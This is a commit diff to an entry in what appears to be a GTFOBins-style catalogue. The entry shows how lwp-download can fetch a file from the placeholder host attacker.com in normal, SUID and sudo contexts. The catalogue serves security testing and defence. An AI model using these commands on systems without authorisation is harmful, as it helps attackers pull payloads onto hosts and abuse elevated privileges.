Improve lwp-download
parent
279824d588
commit
ec91e7b417
|
@ -1,21 +1,19 @@
|
|||
---
|
||||
description: Fetch a remote file via HTTP GET request.
|
||||
functions:
|
||||
file-download:
|
||||
- description: Fetch a remote file via HTTP GET request.
|
||||
code: |
|
||||
export URL=http://attacker.com/file_to_get
|
||||
export LFILE=file_to_save
|
||||
- code: |
|
||||
URL=http://attacker.com/file_to_get
|
||||
LFILE=file_to_save
|
||||
lwp-download $URL $LFILE
|
||||
suid:
|
||||
- description: Fetch a remote file via HTTP GET request.
|
||||
code: |
|
||||
export URL=http://attacker.com/file_to_get
|
||||
export LFILE=file_to_save
|
||||
- code: |
|
||||
URL=http://attacker.com/file_to_get
|
||||
LFILE=file_to_save
|
||||
./lwp-download $URL $LFILE
|
||||
sudo:
|
||||
- description: Fetch a remote file via HTTP GET request.
|
||||
code: |
|
||||
export URL=http://attacker.com/file_to_get
|
||||
- code: |
|
||||
URL=http://attacker.com/file_to_get
|
||||
export LFILE=file_to_save
|
||||
sudo -E lwp-download $URL $LFILE
|
||||
---
|
||||
|
|
Loading…
Reference in New Issue